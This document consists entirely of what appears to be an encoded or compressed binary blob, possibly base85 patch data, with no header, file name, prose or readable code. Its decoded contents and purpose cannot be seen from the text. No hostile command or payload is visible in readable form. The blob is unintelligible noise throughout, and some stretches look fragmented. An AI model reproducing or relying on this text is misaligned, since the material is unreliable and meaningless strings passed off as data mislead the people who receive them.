zo^Wja{y8_mFE%@r$?`(^QrW&jSuNaOL8GwaqM$_`f&e*+_4E*z(L*4Y=OaA1*Z`A) z7Bw9LfGOVOET+H6ynh1}q7N-{#PI^q`Hy)gvAfnpu<&@X!6=vjk@z1kK%;!yBCu&N z7YAbtPt*rnBNFlB1pu_?MBHfrQgED8*MY`k#PvV$SR!FPUVt5!K(nYcl?BLG_%j54%PLZQ}(f)|N(PLH-L-9dDmZ z;q6YuO7oq8&{pl8s|8JVQ>KUo!V8eDO)vxH$qiHxbOs?O@YL{l0!@ksdAl7t0p>Mf z1w(og9?DY?N5>0Luh77JH6f9tkbcBQx-g6A;SxYy;aT|5vimfDTl+4+ zBbpw>3!tk#l3Dkn0hR)s>>bSDWN-ulonRsUO8E*eHx}DXX#%jyO;zw$9C5Bare>p- z=-AIO70NW=#e=Bb43scNg)9ay%BFJCcY=o!8>(Wv5qfw5RcX7Edk%R+0 zBT$lH={etbE5yM66|IUW71wQ#2r#QXl$r=6=w1c#kNL&hJfbF8IA_@{ixI@DJP>GD zY^00r##`Y9P#3WhRF(%F03gItJyItSDTBumBsTD3gJ76b^yCRpFl06LncfgT0#xIe zB_!u7$dOM)Ss*zvNO~fn*AfhY1Zz)+DkvcX@K?AjIGLi3MgWx^A!cQUvXMMEf_=kL z-8Zk;_!rwPIgA$oVBY5KF_#}L92G+K4;HeTVuN3pPE@M`^y|o?BWw{$tog(RCorGr z1{EM&Ab4PbdYMqLNyUbY`07=L4ZrmnLfPiG~{K*nB!n zDzXs>0*uO!UJ8s0M{$92L$nvXt#tmL4ZV!{eg(*lDXZ=O_4N;7uY{Y4+rk@Sp*<}=yd|MUGExK~cuNcP=a$iU zLC6nFhy>fPkvJ|Gwl+W}d{+Q2cxv%cF4zu{q!d8_b8YDXfe^QZLg4}A7&+$8n+l{U zqH_-bo=DodTNaeiJFev+7*QiAK(yv`D7uGTjGP%yW?(pr?&B*6^$ES>S>Cv!ZbJZK zVdr@IQ=yJVkO(LAj#hbtiEab|L^X!`DW*`;m(W|H)rCMom~0yq%D@!Ld0d6cZ-_Wv zNhfOh^uY$^G=@)*FA9spQ&61$4Te8JYGL3H{ozE-fx;j!+F-av0WhCN4Hz8u^qsQ> zyPBj_^v3a{L*PWOR*O%IALTY!KAl*A`?9%OX373(4@^1qJ?-dsY|0>`Stz}d%HMup%bvXp48+ee)%k3tAN@>8>qWeG^lSB|+zr=K zFpJDSEc9_M&*dhT?^|NTtCFhY})>Pa3zo z&XBA;L3V8HuDuJYf9sxpx4fnCNz)@6xv;jB;r${k?A^@QC5#XBE7?oO?vc-*EKf~B z;jiCzIXYKB6V=jx%0)Amg!HPGkllrpj_ zQ?~AVb=Uj3thBy`OcYw9!prMGQ_~B>%^Q{1{y<$BvR8Gqs;~X>*ehqpz8d`SFnyP9 zjN!PKX}`v=wyNEp-#^hb%_%`ebx&OS4f@b{H(Bg}BcC$NcM_Bwee>gd)0Pe*TgeW& zI#g}-?U)5^3Pw|&%%0K_OK2zF z$0#VL1f^tlsHTq?yFh>5o#;*e{?k5{t=fI$>399-Ki-vg+__6zQ$|ET8+TyXO6|RG zV}e3gR;nEu@FXmEK%;dkO~FVF{b}b(>?r3Yu~+9>C=-hh1xK~JE_d{$ypbL7>#F~b zHA8ck7A+s%?65w<-+Z~9{*S2(nG2o_k}{j~YhdTEX_KAjxtuYk74-zMg6H%VR=Ty~-{{GMgF+rg~zwk@=Y_ETBM zTAfS0;1!b@HgGj-h(!#MZ6Wb!V+) z$?a)6jav<>2h&&Utd~21-oV_e@nt}3i4 z89gDWR8g=Dh0PhZcLKD`e7}V)GuJqt(7*h~;jBGQ<@*O?pICo1rI7vD@9P)NFsNPr zwP3Qvg5XyJGs@%a9Pftii=DrDrLAS^(gW2Id%XhI1}HvQHZC|h@o1^$uSvhOpB`RP zGU}GS{FH~)?;pJCv{aw4rL#O=d0K1Iy*>JgXJ^{&&xl!e%fY#_W7fo({cH;5l^iGU zf8wsVfOw{;X7%mw*AjHMCi{#}D?a>_?zZsgrIoACoyy7hcF0A>*5Y$3XXFK*3E%QA zZq@xIo@1I{v#-suw#-+Xw0GN^{>>Avd*U-%BGPFwAGST%awg&2mt6lRYum!@)dPK9 z&lSaA_J6hgiq751@~Me&`7t}{Ej5UYEgfH%U2%>{u0C_^$|YOZ&p(lCU_1-Qzb?kH zpm1@FV<+vx18FD&D{!!b4WM!g7+?sTxTe%*uz?MY4W)WeeFy)9RMW#hSwO`Z)r1*_ zazP9+kpkf+cs4@<7Hvpz9SkFJDzAtfqz}Jt%mA*DjdDQ|C`fIQ4SaG2f=|R;BR?Zm zr^qLg7DGOfDoW%NiO!HugwRDkk<^3@ipYt~kx%Y;L=1O4B8EF2krQMi-*d+!Vz}cG zG2HQpoOl@do;Mzr>rjYT-gum-6~5=hrN}2&J|dPk9w+KV{+%}-mMb3-%Nvgq8`_{; z!M6Zuz`dczd3I5ia}+b!zyxSU8jGV#jH|(X12co!@By%+L-od7Dh zKju^@M};eRUd&ls_>N|>e00GH3d_p7HX*b<#FiCHA)^f;V&MymBa_i2Sn&TUZ2+Cc zWcyP?{vxfg)8}qxv8Bb~p~Qo1h$4{<(S}4r6pmzwCJ`wpk|706F+^5COx^kh1qDtu zFbE9|Mfa{&UU79#weluGaaQopI|A97n64c`#-cH>%Sn**CxF;kBK&MfMv-tBG#*ES zUo(bD{&sOxc(r-SXbFgANJLX$?TN5K$q;s8$w0A?K}-x5O~m&imLO2z6Bxp>@#?81 zC>t4%rhq}f5}>XK3=q)}hbD_58aJaREE+F$BmvRj#tZB|kc9}zc#sJPCY1pB0wM`y zH6;9bIYDp2s^b$S!V>c8U?eFa9x}0D_V9*a?7{3231Iv&WHBY|sY70_SppLBw;qx~ z1Jz-PhOn$ea9WT_z#|9w4<|xcf84yKKzm##^GAc-=hMoQ4g46|5PTNgAwgpybO(O~ z#)kNB*|<4RVc8ICAQ{qg zb`1wHA{MqA5ikaU1k5nU<^4e{!D{wA3tVU*S=m5SL^2Tt1`drk1la)p;7R|qBz!_q zcr_*G7x;PuhK&qaP^=*tje*lZz~RtD1e^UsZ9NZxxG9KqHyqc2p3%u3DgR3GC$O74j zkW~M-P2-cS!m>%uBk*Oz0bn8{HjSq@092TN+cf^YLt)t@?hByK3L+A&P2;R7))3%` z;lGXn|H7h>Y@7f=qSgaP0ki}00$*=93RFvCdNH^H%ZBHrsfA^eoG;+5DUJ*+4hRru z@YWP(2y5FLsuY%un}8ISt=B-J&pwoAKA?~tO@iz%7JMlV00@qV0|4I(MB*LN9`2LR zH%b6@@Wp~c6$)@wSS&<85I%w_0R#MZtH$LMg|#JdKY*n`2?CH1SY%}Z^ui?_0O-Al zC0I#5X)P?9ea=w6%!?8r5V<5c30uF~@ z5KBTrh2C+Ru;TszJ^0m+64-5B0)mw_1pXGvp3w{%ou!l|I z*8@m!l>zi3DK9*Nl)%MO06L1h#64^azm9+--W*gHiDIzW$r*ArC_@Yhd?gT={{F&g zDtX&u;s2(8=W5AjG&jlW_&Cd8pgc!0~Wg?s!VC(FqHLsQ5{!qmXnz$t=Q zj+6g`ACSO~n|y;GAPnWyGT6Yc!7>mz#R;4rAjX1V2FV#hg3AEuWMNB#d>Ujs=a`}l z?4Zm>BuPi)lY^Y6I^$kb>Kj)1TqnI;AFxWbW=N#r(*YPcg4`+n%PG(2 zMVB!Pup^s|#uTg@O=Og1j*}_08#}vU)koUL5L_5rHtNchmnM%=ZdcCOTC&yCJmdP| z@UW?=7c>{$*-$@Gvwp0!&nug^XWtw5kap_Q&6tcNi;`hZ zs`xLur6$*gozx=S{c3UL)T$=*^`?y|59e#!JgXN`mR@fUOjh~0+OMUbRLYAy1BMd7R|Pqs2{V? zOpldh;;j9Sx_y;m*h0p5|8uvGp$lKuB_4^dJd{HkU6@PssAQp*vDSw?e><+>Rm;*l z4HwptOLLb{q z@bet{wA$&^wz*@EI*nJ%qU_G^2n~OIOv64{FRMbcAAY3DE~n`J$wi;mSD|E{nlwv4 zcwdoRv)*CxA+yvW^S17e7=GN=ZJT>rn2u#r)Q2YH;W@tt40iYSd^M^=-*CtND^Hr~ z8msb$jY75UU!QuwNawMObbocJ!wVxL^3^++OphG%L~Fv!+SLo==KjRwo!A~kji!_8 zS}S&3S&@@+c5=g>=1-L;8e`%XqwAli8Z2_lc^Ki9@vbeS!p9&#>_ei|Lj4hsuWi#q z88t@?Uxe?!KT9WXUEPAfB9wa?HR;g#C+EuSyZXr%!;j>KJ@I%7wyjdr;+9ka!+W}u1FqDKdQdq)$g44 zen+LI4!*kgi1GACzppH8o_@D-P3mE@({@{qeH)+h>D7uTwEOx^7mc@7bu9RHL2kxS zgG(-n&Q`Hkvqr3o3VXQO(R8nmiqpQ2CWCXL(=ONi(7HFjUwlc?oN>CJjmpE4W)#O* zdXM%?4?3>$U`))C=PL{}Cwmn+WqS-y-k)^FA!pp8Rau+ehprgrv+hG&&YqFa7rY9H zIq+sX`e;GFv$b3N$@wP>#xGJCXT5ff%Q~gBvmM#(j;hZr+dXSj0t1XL>c5~Lm3RLn z$INc{{5ACQC2QZncevD1-_nby^8BYW~r-Q9y;K<%A`rvF=)TC7{{ij;49~GtqMCH8{D_69-+9vaZ8iU(JApS z_YelioGo1uEqB}{^WfZy6)ie@)IDmoO+IT`K+y7#tfh*t2{uy_l~)gMnf!2ZaA4;#kMWvkWi)p> zOx^x%>!Ao5P_mn9P6am6zS}pJ)a{+OaK?Z=PgWXvsY~`8rg=fuq#>h<8j6i zqd{>xcaEpc-giM&bN`kqTWiMs&Yf$re3YdZpl63(^OpJEDU(Ay_T-N1wn~Mo&-0U4 zM7S9*p6j&j*gKVk34w#EOBT;M995!!dFH4Eok2>e6CXO2GE9TX(+0nwEK+$jKyRB# zMJB6&sejh;>Fd^?ULQ5z&YAS4C*_7XaDhMkGv&tdKBANxnZr!|cgl^(sXPR#ic?32 zeDbI)Jdeual*%Fh&h@55K;#^X4QeJhpPYI(_?}a}hJ5m^zubWj zp^#6We2`({{2r&y3Hf*4cqE>DB;I(ON+eOLj;k|10udpU`W&_LVjVJMaF9pDLb{v; zStc@Mr}2bdqE=y`*#ijk>mfM^<$sfn57o&?m=6>u5-dW{LxzBiNa{UHA|hVT^cQD? zNk(~H0s=Cpz{bSk;pQ^Xpg?kwDZQskL~MCzWCbJv-$j99NgNSE2}lK#F*q~^ z+j}ZlRKlKXEcu9*#7R;^vYG&yH;5@nkcEZ1s9sZHq7wE9cKG$P65NGAgh0$qfklRB z2X-Tg1WXeNFQ$Y&;vJ41lkh47_hksB2@o`bgd`LRIn0K=CsRaq*dsT_v9J=B5Gr^f z`GkjTKT_vN0`7}~?LDU=Dj>JYPbjg%FLjpSA`>Z4hYD*9*)kFoXOMvRBooA4V{YZ3 zuz)>XDv$W@vz_Lf8X}}C!1w_J3yCst*+i%Vz!SwahTKY1VF@Ld|Ll^GgoR`*q<(Oa z0)pf=5r{kBu*Ezlyn<9=5qqtk`0q+2Kr$2@I{|SlkW?T7iwF4yaYf|buND?ja(U4% zEy58&>O$cn1Gp9>O#rNvxEqmob`iV83TlEZ}}0YHX0jJT`Z1J!V%CCTWJcZfki7o)j}$|}tqdHvVlvdQ;*nw~F(aox z5Luj%SHcn^m;RvQ2-sZkz+?aoPz^;9&kXXfata?1$pl;!ISVWTuBhKA`BMrYY^Ol*#%S$^+*62#503%=s7(Sg>@)-SAv9{$hCa{G*Cte z`w<`^R?N@|LYN*BO3sz=j0_I8ACiHBuDnoO16~;bA^tCsQi9QFh4vpO zK_*!%g9RXngM=D1s03#RfDnKnM$Djzf8|tILdkg&-u^?D7P)-DFA9Y&x=>cwyDRD1 ze?4Mi{Z zOe&h+PEuGx$$JqjRC>Yr0E_^VA{Dk!eLxX2SmL*r6qZo(@d)5Rq(~IOg9Jo{P!SJp zn#FQ+{3evb0!q$_@Qw)7F@foVw&8Fv;4Tj&kp2=ab)AnMDH;CdSkCzX)}Kpz02lv{ zG6N3J!M92R(jV9hK7rqj^oJ?|B1BC{j$bTlpTxPt!=Hgq?ISmi#HRKwLLV58sBLx( zBTi^G-~5HcU`2Fh>_RAMPleaW`jG6lAOV-ZlpH^d) zoBcnBeD)`;SkW(Pw(INJ^}F;dLs7}&Ufh0pr?j<=oa0lPZ^ln91iA_PHUh1vUhgal$bx2%w`1=0oF%Puw8ni7oA5@&!K7*op zL@qsd+OFYutLvm~m$6+x+>w$B8uID{%B006VXCdtdE;kfRhy^-1D}6AYntKQx_9UD zr1mv2E3Pd1#xznZ+wgnFv;xxBe1)$*Q!K(6Cr50TQ8x0#hEK#>;n~;YOwb3M9gbg} zFi4rTm`FN}y1RDNA$qu5Q~1K4F25>{4BQrdKOlb7v-N|rb{W3VPB`7)-TmVylPTN2 zPbeFSr)L%2uWK&n04eu z_J&{Ec3pdBsW3iD_xqXIIyFTtHBVo644v;Z)iGMfXWQ-17k{W$;#^0#lipu*RWxw2 zUQ%|ev+}M*+=o*c{ z@T8QKZSK?K3pKauFFf#Y)=b^=ZRLkYRj7Zm-J>I0=k>bm=^6WT^qQA8#~#bhzg_w4 z!srpK%O$h4HkS6g6s2@%W^MDBr7I^yuH1TH``AsF3Jy&<=5Xvve}x;VUO%Fb4L=>F zUZ>JtJ;r42zOhR-+J>L79v@S9V6wxFaqHerb9;$pk}C<7pX^bS>zSY0*G*kErG)0} zJj$sqwsnz4>)_UYLkh<)^?7r&^LbsKN#w})^QvCoKW$Qzw25@*r~g7)XQ%Uah4gs; z^u3?&d7IsjD$2c?y|8Y*(UA5mzmqeHSFigz+9!NMYoXOr^n{9dOJA8EMTf`CEhK;3 zx60tqw2eOwXvQA6Mv@xnd{(b^(x&6-w;d+0x?7jJ%tddVb+&5`({E;k?1`K!TdyZo zPr?nFq_ky!ll_iJxkquEvprP5ZYbz{=rlg`sp%lbe0K0tMny)<5lhv(%DKb$*iEEm zYUL|xsILi`9`^G5^5-2oz6;XIpKXwvu~r)^cZR9wFl$p)=i256l$?$W=NKE%#|e`k z&1g6LnLIDL^D-(dsM9VQ{jU1mvwjux@75EGS7#=bUzzyj?edsMV@Het7)3iniSu?>b=o%zIiEWZVj@UQ+lms8&1|V{X!ZYW6!TU(uqRJX`a^ASx2v&S zS0cjGlejlV{|BC))6fEVYPe9s;jJN8#Qo&))Nn_U`!kRC=5%*}-{&-MKt6fAw;=+a zk)L@yI;S54@-uHd$k%ee=Z(kdvH;)ndMXfkS9FQIE4oD96>d1 zYCX6q&JL4|Z2W{6nMc%Pfo(=oCVgS*0l;^UrTGm{B)GmLxNU?43P`O31=5{;Ve0uk z!G+gXayXo?!!D*CE~`M+voAzFzqh!sfRfAQbP32K>In#C2J}E*hF~E9pQ(r5z;LkuxyLO&Q_t^?E-c~y1IG;M5;FKx z&?9h=5Xts|sfYAMcWcP+tR%sM0@ZvRq8^fWoU0IhA?m?ibDLWUD^c>99U=}~3An1R zEAiqJ^&nvnm%@QRl687;wU|TH;~{Tn2=JyaL_LVuqdtw_5=(;Xj4<`c8xQeFV{I58 z8mu67YGP%dK*S!k1pL-qk`$50*F!A=wcJ&4$YY~lCwmEw&&|@1- zff{BU5h_lBHvI=(FC3n9HPsg~*qmri!V&^J1k8m)ZYDwig|PORzf?MRldy+14TPC%l6KKoE~m^+@;* z_V8bnz2Ka5$ND4*wvXW(LZt5ql-j@>(g0?WQAkrIjCeI^2*BvR1v!l^`3D(jdoBy| zPuiYKd+`76-?Y7WOg&gn!I9-L^*FdWCoWUplU=xu#IsIy-E%lz#cI@9#{bubn&HzRZ4PS;Repu~O-yTK7h)msx+RnC7e=R^UZS5JELhAOF!K{hc6nlL3{L%hj*IZo_UhscjUC~SkL;UmsFhqU$oku*CkGkf3f;4f`YGEsHk zQnj}=Z@@%-+f7Z_#dKVdnW$G-(~;wIXYIONl|#~U+e#N(?l-o5yRL2S)s&UGiC2$} zvL116&G%uMC5mnRJ##a^PQP8V=4F7vfSTKG?SX$AGgsX+Fwpv9IO;`u`K;=+Pi6SsJ8orCsCAfDehI#&dM{F zne25cPO!R_mosGRrO=BzUP~#jN;FlaH+ocs*y!B9S!#Tv+_!q!(fk0%G2as>IKESP zV-UaAC+5q8(JRd>ejN&`3Y^hzpkmU5^V(_G4`_@jSS$8W8RZ=^qd4++wP3un{Ck1Hr`%JxrEws@r0e$>)mJ4)heHlSiXDB z_{3IwE4v>Q*BOT<8=Q2rl|Ob<<^4mC{X5ZXR^s!jF3m|hlW#&Z%Nj9ecLM$=X5pn1 ztMI?->AIscv*OyyTu&FEmPsG8DI9l5ciPl`=gG!iwxJj7N>QhL8dVbTbq!y4Z?>;8 z^1Cwhm|{_hvfusu!(ZAo>zyl;^ZeRBX>Hea8a{VjRQ`eMZ`vH!e9z5!wrJ^&s*u~B z-z@Yqk_Q%UTKtiC{+I5-(<3XU&DpY0TcKl+DSi1HuY@NKuv7KVL7^Q3(j@|!35UV9lyn{{l!rd!qpex)l5ra3szaDVdrhTfRl z)0qb*HSYg(biT#!hy@W-BLk#^?%A!F95DtReChqugT?5Cybsg&hfQq^IKg&1b}_?h z?)9mo4>rDgxA;o&ufmS;XU42eyK`Oh{t2U#u4_&X#BK0W&bTZ0q!DY4o_6zr?P6t{ z;Sp9>;9NAQ{*i>Kf z?x|dVbJyB;UL_L~j-K9_agn@4J=Z+R%YBl|boJd)iXrPJsoOtDNPC<8ot)gH5oUr8 z*J@ui6Bji|%H2Ld&;P-JnCS)AC#*89S(z8|b!@@FGjrl}zTgJ*caaO5H;TD2FkH2e zdE8{Hj88-S5V^UJ8v5Tib;!&=XZF;6V4PNe>dp2#-z9f9$&atzkx}5Ec)xO1>)i6p zmzdfA8K zM@wuCX0|9OmREiC7;9^De6iHE>i$!X#huWmHzxW^_g`M0u*uWW0`IA%*hylH4L9>O zkO|E!f4moaePV1qb;_pFJk<41%}ERFw-&xyV*4~n`zPaE#q_9Y)er7Qnry?p?-#y1 zLt*ZtlmjEj2ec5)_IelG8+_>!{zx#3QW=u84>v|*uKa{?ZqH`FB-ssT_--wj{E@D2 z`EIrDS&iG;R;u6Tm}@!5UD0qxeZZ)U{v2ddSP}blWczFzX##7-#cfunZRHzh=}p^m zPxFHPNzX#V!nL~-lKSQ7ZuD%6(Va=Xs_1#s?Wv4Kan;!1Y`48ny~wT&>Dl*JZ4N-` zuXB~Ak8;romb!TW6H@wWSbfcr`EunKX6-nw>22GQroS$WTs`dFvHWdS11{$^?4U-W z-uKs7t+=9d(Bl5SxptrD{918Vzo<^**bX-<-Jrzb7HyF~Za(vD2qCx3J+q|7Kdv@C zy2aDnEIi32MOoHOqcp8)-Nx|nf}$L9alfE1ZmY&l)*WLkdr;$9;$!)r{`>9HFQ=yV z_r1}mdEF@#xAk(&oq@ieqr-nQqSa*X_$O=`_e_7X-u!sI=Y%~;WP7UGw2c>*zeuk) znCdi$ZO*tFL|^HjaBHRR=d-A#={p-OX6wwJJ(M)VDoJzcecd@lTDuwogRVJN#o4~T zc51|9M(Wm*8D}407S-lEZGOMTaN3)AzlMw=%j`P~JZnPrHMZpr@`dj=k!Z0f9;wccXg+eGJCW(QkG#5@gKWHz2+M5sA2uURj!)Nk2|w?{{Y zU7bH>lCjRWmMhj{T?W&#-E8kOG`3`^J-u;$=#G~=>`THz1N?37g?$)eIl<+(WA(E$ z$;=q~+a~`Zd1=XeG2ZikuAQLSnKD-4dJ|dM?7>)Xr_rcXY6_+dxAaKEmdS;#od)AV zqI_eP*qfyHpZKfzg`C=fo2aVW9rsrLEc^0AEwA#q#+M;lxi-!Y0W!_i1g6 zyTR{S(wj3KYIPT0)=40^?wojP;l!q>8usk_XV|i+FuulVuFG7iluITGJ_K_pu+HQh0f);mPPno$@nxQ7e9YLjAsUce{$+hKs9K zrk*VNjg3XkeilF^)EU1tzhvZE{!2!y)NAY?YDPFs5%@6ZkG&m898e=#Gs11D@ZW1j zp!qYeHiB0>!D%!GH5Ht8UdSf`iQ$vij-15n1wrEWafg5B){2lgy`hlbm>}_bOptgzCWLD^xX&P}y8ks( zPll^ZkhnlHXh=POUrIOt8}|s$_^%j~V3LpDaRCSOK~uDU7IBCKxjpaYkp3S!%#k5o zj6rS=!R-h`C@ShpDF-}NkMQjOp~W1(mIG-4iS+#HODzY8*fUC#Tm;FF(nxT-4(X1D zLmGTTiBw;zIY7kjj12cAOZK#oAQ1^-0yl`XSjP6LoC8Gc&d6|$jD$sme%Xd#TyVe< zV!){MrJe&s>|UhKwSSTkk(Vj}lgkOmk%sqBHSw={4neA*=L!o4zyDjs7=IH&jUKm_ z1M9CslZ^>vBJYr6mq0nx~7qWe-g1I1B6$&^H!cRbNd#TLiEyK>FXbGd#U3`BY;82P$QwYPT@SS*W-vt zuwxisEP!2xh*&^nQs7!W^0pFEFWGUPR6S3H?YpndWT~i> zP&)z-Xg~En_-MNg>sQCV=T>>@dQVRKhF)6SxOJ>T^9;{5xvpR1_M>OI%6|N!a%J35 z75e*?#;FFe-(Ot&@GD*R>s|T!xKIAAOGB#SbZ$O#(PtP$ocqcMUjA+BkWuH7CsFej z2gnUfy|G$IBg8{KNE; zq8=F3UVeT)(>div>XwUc-nXqUj8ZJau$_ZL7bvLLpNSglBYAgz{4zi1RjF|&^9i4g2=--V zc+!;>rDxV|JwI@>cXsg+DfQ)dW>i z>K&?B>5Kbn-p81v=E-W0eX?_WZ1$x!D?L+Q=M{GhzdnU|;`*1_4 zmNBsfhc?z7!tF}V(4FyS%!qM=Ju4J1Z(OlnIa_w9hS%IhTdo#AGhTYH-=x^oiP~0f zpR0Za$)Ab4(CnApUw>KJ#EZ{f&ogR2k$7#q^m?<`xxU*ExZD{;`LunNjqFcUXFu!* zDVo&S0c7bz9n+MCyH+hf@oriL`M{IRkjL*$FMnM!-WaossB4n4E>$zvc6@`Y;;XcUGbm2UQigZA#3;ihniNN_L9kiA6+&_1))C*I-ev&$xX zt1d{#9iJObZkK(qvNmqT^y~VcVg5L9@^~8NqzW5C$=J(cBdHIVR`@Bx_(KCZz$y* zspG4)$JAgxzW8xTtMkMZyUc2fMM=TyDo3oV`2HlcxLy6_&~`H&b0XMbFRiHaOI>#VlbpkzdZ()gf8(Ej7-=xM)dOuX z)U0Ixnu>DR(0 zE*g8QEn{F~WNG^Y+l2UBquZZmXI(aPY+Y}fNN)5rzZ?_&@-x=#;9{4@S~|lcFYJD7 zb~{1oBjd}<6SdQ31&yBGvHR?^^A(STU-}DpQ+O zYM!;{&HR}=pKLT!_KF^^x2>UgNBpKq3M0I#6OUi^T97o`<=K^v{RbA?t@3TmoV#Lc zKl5dbce{6)JACln4F$flfUCU zv#L%*bE?b!s<;_6Wj+mYDg zg?+hP>pP{iiMOTJO;s&j`qXn5nmWsrQ8`R;OaNAOtX1%MfJRs zW>Np}Yd5~WZ~cA>m*QCMV0_P^>}t~Ed2i`z9)rGq@EwM*Em~8(pD9J(NV14Oq7copPcU9GXlbR}k5#uS zHh!pbApE>twY=Zk-8#j0wqGum$^CGdxogzoeo0}0+9&T@p$>1_b|HRdf%^5!b3V;; zRf?s~RE>R4pFkd!r(D_E8lb5gnfT%0T~*bMI&^BlmpcFSgm{Br+jMum`e{Xc*6$%} z!3UiU8`GB#nZBVg*w1mIXa0z)5U*nn=^L`vUr0J^^5BtOv`qMYO3BXh4Ey|Y=Yxa; z(R57k%6vlWK;z2!CBx=gt7Zj+mW*5<6gl?Gjin?~SjEMA2Uhm8wTnDc65&5WE^5ak z?c0r0^sSYLzATZ$2E@t`@r%^PR3t1jS~qU1lieoWDZ9SQ4a!WmT_67P$f9eH{YMmP zG$hsPVqLWo3lv><7A$m*tWIvKoTuH)-l(Y*dG_gG`LT&Z88-XdvlZs5Jf1%wWBZ(k zb$2JHyVi&1pbetOnwV@4mtHtMEb#K$g|T+Y#E0vW1DiGTUKKGO{j^A0Gt_&?@`7jQ z@2@yo@|@_t`wla^?&n7fscG((d6fyX+fzXbIT~L^f3p&*?#*0|sEdUKO_y}6-NFYn)Zyc5(RamL~G z<`&_1dhf$4MkoN6&q#2=nSUu4hx`n;Lj;UY--3YvS`d{T=+C4Fp*@)a-NFElviJa7 zBn$FyL6MhI;UPf{_XVITA4$MLX*p<>3_%RHnc4p$Xz!7W@GDmOC^C}wz`|`Mgx7&u zO9+u6sR2YC85(ACuLku^WKSlG=1=utgJxMYHqA4bMGp!`)NDX!c+tYpfxdx80Zgx8 zf7%R3x*vTamGg4q86k99=)@p+Tk(t_Cewc+gBn1aVHOZb_4K0!bz7j`8<_rkfspz~ z0*^UB-fWG7lnR8yC=w*7;I>Sk!%9Coye6CFL1lY+pt-Nd_J+48)6fiBP>=Ak*Xm9& z#D=bsWVpExOfBcO2hvB442wmAD-8c-Uj>FUy*xb8K1`;MKh2ZrMdK_`cRlx7>nVo7 zoIDWRxP>;C@Y*6^Y>+0!z(m8XYfeA(zHO?&@BlWvP5GZH?ls3MhQ!cr93&)iUvURn z5#UPTeiHOSfCBTr=NmXm?%SgGZm8nO4CV%mGZA^mEu=4ycG_gP zEKfv|>R6;%b>GzN8K%!|57x^G5kjxiG}uw7`Sf)Z<+wM7U?PrEIo277G7P3 z=e)YCZ$i@<^dK)J_hb;r4)%FP! zzjrZYli;Qk()bu&a|UfbIPYOYE~mmvukj?LIbYvI{?pMz@{{_EApd|Ko1@q4?!N^` zxGOT)2)^J*>rxzGssAcC?2ZryI*9JWqO&<0x|>1fyaMGvZVLi5!b1pEq*(*JViA}a zU@d`8A;5beD4hOteN!@>mr!MU!hdmu4Peq423FxVG^&?Bok24&V+667-Jjrp@PUZr zWXPHmU?)?+ZXhqJ#zK=G0zzf|2fN|L^kk!j(!&094;GabZouL_0NOVwz`wiv|AR}! z!R{bJTRi0ECI@=JJz~U^AQy!G3-sVvyMGyKktUx=nwj^SoPXrBMeZr|_%o!vBIjKL zJ(AiYz4iX|ci?0(5DD~1hI2w4{?-;Ns|{X{*Y*z@0wQk-;nti%zFUyuh93YU@!tF+ zUcOu8?M%FUHx!T=ikt7wcXnddm=2G4l%whuO&qvUC$G>a(OP{Ms z6aCFLQyNn?G=1whmKnZT$0zskYNd?xh2M{7H)N)-t$H_k@#>ZBzox|0FCCdZJb%Ic z%Zd+z@~ih3g{x(;T7E~2{5r8V>-{FbOSskn5oJ|XPYitAnRn4{M+0|$r)RyWYG41T zBI5YLDw2CqtI3+x7tP{3@|^vef-Q<>Zm7RdA3WFfL_OourLbY9JHAbP7;#{!%x?AZ zrB0|xuKUVb&fU9+)op7m`4IK6fWEw`xRCyOhE49HTBrBN_q-@LnrGv@v#GT{T1Pc3 zBzUJv(8Og=72oKz=jGjx)C>)A?LW!v+Vcwr4|VS>dv~=wv2{l=_G+EZXwSqm zMS5Nv^1{wIsNGGP$M_K7kpCX-RJyN}SeMrPK5JWpN>yOz;73X?zngyjI6ad+lKCS{ z=97HBX68`Mrq{`uk-GD#@kZ|~=SY<+u6BAdu@HSL{hD^d7Ws&4k%!7YS?yT3e&QF4 z;phBDQ5Jn~XBDD`omizl@1%}!Iaq~7?6Oom-I=3NwTBSFp z=w^{eO60inFHP68>S%A2<{4j@Rk?F4s=@E-Qyf0W>4JWaTUB@%4#WQuFVEI@R;4q||-c5wy_N_!Vj`;p?PjrejxRgim?aq;_)MUZ-j8 z2g7dQ{MJn{@JQM>I>_h5o=)`bE2=L% z5@U9>a^#M{iu7;A*3@nKEAqad)KCj)jilWRxjjKkS!ZO-mGt1>c5yF!7cW{n>_X$P zmAb0N9qPJ|1`-yR%^(LavN=Gx-~4{@f|Y@tEvv2+doO&S7fa65RHV6{-04}^lJflN zra``#GcPKVQHxH?pLuodF}2@DYh%Mr){56meOL7lU8A)7MyFc;F;cm!G6qShR@{xk zwmYO+xb4hQC=RWDrA^B!Vgrc{I6ekNbPg(tHypCc72xl zfQd)%6j_zk4i7H5WAY(n@!Xdd`#(MZk~sK>j%s$OU!hU#@s+Y$i=!@Kw*asGc&hl(@=jwGj=jNWhRiw1{oy$b`3%^EZ{LraU_q#dhF0M~|_p<=7DanS{PJl$8$D>u`T;BD zQOziw3Yo;%VS>Mcsx$#c473vVRA9sD(Hiv9G7}U4*5ChhJ0!9$bP}@ ziQ1w+doem@malN){WI?%O|eeVLAPi zV|u{dh!uC{$jy*1IP|0V(1X3P9na2Syk)i&yer$Xa?qO_7WBY5PGQ-jZ>`;OJ!G{l z_If|>4O?faD;o_dAB0)I@L=%qV`h3ddWIbR@&~1|oox=wcJDV?=pjS4iinQ3-Mh=z zd_aZ8&&%=F`pPy7jU!I`rB<)HL5wdWwvPRzmz^*~%6P&2+-j=zi?0dT9EWAG;ok@q z&6peqx#7<5Pg@S_e?@na(qW2n$Hiy+N8Bmr!e7oYN`}-%{ulTK0 zB~3`1Ei*xB$vWoc8=C@^F23$$?N<-$A29{PGPU?RmDtg^bXlRLX{I!OoTZ8LUd;sM zQ4iDN?j8AHI4wVwCaM6^3(h^v2AkACEFu)vxJX z6jRW}BlFhVB_RRqlFDh1skT5phfQnk;8GejkjUL!Y74LY(=+6}3w$uVuif zhcnUxr;b)Q*nIOv!Wi7ii&yDeLo6MFPTeb1_A*czsdZOtepJDfE8dz(A)gB0oWGW= zqC!3XaX^GB^M_UGM-{h|U(qMmtckf^BD?mNy#0vCM>aoVMwDvCCHsyUuzJdg_Wt9o z6_R3yZWxOqYZo7XzAKik8^3Ow=B^!$z8jt`Q*eB)^HO%MDt=)2rGZq|RG$^A4xOI% zvusJ^=nFqKJ-=;ZIm3)H>G4CS7d967Ek7*At{x*xw|ZH=cx%ukoe3W_35xhRL5#C+ z9xNIp`&MSwu!++qe?Itm&G_w|g;%Lqe}(riiaTbTUkMMjkFttkUVgU1Jjv4bkY&wi zpVzfk*(r`BjWuf*$wziRXuiWz 